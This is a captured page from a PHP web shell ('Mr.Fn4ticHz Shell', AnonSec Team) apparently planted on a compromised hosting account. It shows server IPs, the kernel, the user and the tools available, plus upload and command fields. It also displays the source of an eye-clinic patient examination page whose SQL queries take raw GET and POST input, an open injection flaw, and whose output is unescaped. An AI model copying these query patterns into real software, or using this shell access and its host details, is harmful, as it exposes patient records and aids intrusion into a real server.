Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.148.104.124
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in//opdEye_Examination.php
<?php
session_start();

include("dbconnection.php");
require_once('../DBManager.php');
require_once("../LoginManager.php");
require_once('../patientmanager.php');
if(isset($_POST[oneexamnation]))
{
		PatientManager::oneexamnation("$_GET[prescriptionid]","$_GET[patientid]","$_POST[occuid]","$_POST[Examination]","$_POST[eye]","$_POST[Result]","$_POST[left_result]","$_POST[entered_by]");
	 }
	 if(isset($_POST[status]))
{ 
$sql ="UPDATE medicinede SET status='$_POST[status]' WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND id='$_GET[id]'";
if($qsql = mysqli_query($con,$sql))
		{
    echo "<script>
 window.history.go(-1)</script>";
     } 
    
}


?>
<style>
   .box{
              display: none;
    
    }
    
     .box1{
              display: none;
    
    }
    </style>

  <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box").hide();
            }
        });
    }).change();
});
</script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box1").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box1").hide();
            }
        });
    }).change();
});
</script>

  </head>
 
  <body>
          <h2 Align="center">Examination </h2>
    <div class='center'>
                 <?php
  	$sql ="SELECT * FROM onexamnation WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'   AND Examination!='Aided / Present Glass' OR patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'   AND Examination!='Un-Aided'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
		    echo"
		    <h3 align='right'><a href='edit_show_oneexamnation.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]'><i class='fa fa-pencil-square-o' aria-hidden='true'></i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></h3>";
		}
		?>
           <table id="example2" class="table table-bordered table-hover">
                  <thead>
         
						<tr>
						    <th>Examination</th>
							<th>Right Eye</th>
							<th>Left Eye</th>
						</tr>
				
      
                  </thead>
<?php
$sql12 ="SELECT * FROM onexamnation WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'   AND Examination!='Aided / Present Glass' OR patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'   AND Examination!='Un-Aided'";
$qsql12 = mysqli_query($con,$sql12);
while($rs12 = mysqli_fetch_array($qsql12))
{
    
    if($rs12[Examination]!=='Aided / Present Glass')
{
       if($rs12[Examination]!=='Un-Aided')
{

 echo " <tbody>
            <tr>     <td>&nbsp;$rs12[Examination]</td>
                     <td>&nbsp;$rs12[Result]</td>
               		<td>&nbsp; $rs12[left_result]</td>
          </tr>                   
          
          ";
}
}
}
?>    </tbody>
  <tfoot>
          </tfoot>
        </table>
        <br>
         <form name="oneexamnation" method="post">
         <table id="example2" class="table table-bordered table-hover">
                  <thead>
<tr><td>
				<select class="form-control" name="Examination" id="Examination">
    <option value="" disabled selected>Examination  </option>
   <option value="NCT"> NCT</option>
<option value="AT">AT</option>
<option value="BASE LINE IOP (With Glasses)">BASE LINE IOP (With Glasses)</option>
<option value="BASE LINE IOP (Without Glasses)">BASE LINE IOP (Without Glasses)</option>
<option value="CCT">CCT</option>
<option value="UCVA">UCVA</option>
<option value="DSPH">DSPH</option>
<option value="DCLY">DCLY</option>
<option value="Axis">Axis</option>
<option value="PGVA">PGVA</option>
<option value="PHVA">PHVA</option>
<option value="Vision (With Glasses)">Vision (With Glasses) </option>
<option value="Vision (Without
Glasses)">Vision (Without
Glasses)</option>
<option value="Vision (with lens)">Vision (with lens)</option>
<option value="CSL">CSL</option>
<option value="Retinoscopy">Retinoscopy</option>
<option value="Squint">Squint</option>
<option value="fundus">fundus</option>
<option value="Top con">Top con</option>
<option value="Auto ref">Auto ref</option>
<option value="Specular">Specular</option>
<option value="A Scan">A Scan</option>
<option value="B scan">B scan</option>
<option value="Adnexa">Adnexa</option>
<option value="Ant Segment">Ant Segment</option>
<option value="Pachy">Pachy</option>
<option value="Pupil">Pupil</option>
<option value="Gonioscop ">Gonioscop </option>
    
	</select>
				</td><td>
		<input type="text" placeholder="Result" name="Result" id="Result" class="form-control"/>
		</td><td>
	
				<input type="text" placeholder="Result" name="left_result" id="Result" class="form-control"/>
		</td>
			</tr>
			 </thead>
			</table>
		       <input type="submit" value="Add More" name="oneexamnation">
      </form>
         
   </div>  
   </div>  
 
  </body>
</html>

Anon7 - 2022
AnonSec Team